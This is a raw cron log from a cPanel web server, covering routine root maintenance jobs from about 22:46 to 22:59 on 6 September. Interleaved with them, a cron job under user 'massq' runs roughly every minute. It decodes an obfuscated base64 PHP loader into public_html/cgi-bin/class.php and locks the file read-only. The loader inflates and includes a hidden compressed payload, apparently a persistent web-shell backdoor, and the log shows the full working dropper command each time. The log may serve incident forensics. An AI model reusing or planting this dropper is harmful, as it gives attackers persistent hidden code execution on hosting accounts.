Sep  6 22:46:01 server CROND[5856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:47:01 server CROND[6240]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:47:01 server CROND[6241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:47:01 server CROND[6242]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:48:01 server CROND[6610]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:48:01 server CROND[6611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:48:01 server CROND[6612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:49:01 server CROND[6983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:49:01 server CROND[6982]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:49:01 server CROND[6984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:50:01 server CROND[7480]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:50:01 server CROND[7481]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:50:01 server CROND[7484]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:50:01 server CROND[7489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:50:01 server CROND[7496]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 22:50:01 server CROND[7495]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 22:50:01 server CROND[7497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:50:01 server CROND[7493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:50:01 server CROND[7494]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:51:01 server CROND[8372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:51:01 server CROND[8399]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:51:01 server CROND[8400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:52:01 server CROND[8774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:52:01 server CROND[8776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:52:01 server CROND[8775]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:53:01 server CROND[9141]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:53:01 server CROND[9143]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:53:01 server CROND[9142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:54:01 server CROND[9507]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:54:01 server CROND[9509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:54:01 server CROND[9508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:55:01 server CROND[9882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 22:55:01 server CROND[9889]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 22:55:01 server CROND[9888]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 22:55:01 server CROND[9891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:55:01 server CROND[9892]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:55:01 server CROND[9890]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 22:55:01 server CROND[9895]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:56:01 server CROND[10812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:56:01 server CROND[10813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:56:01 server CROND[10814]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:57:01 server CROND[11186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:57:01 server CROND[11187]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 22:57:01 server CROND[11188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:57:01 server CROND[11189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:58:01 server CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 22:58:01 server CROND[11553]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:58:01 server CROND[11554]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 22:59:01 server CROND[11929]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 22:59:01 server CROND[11928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
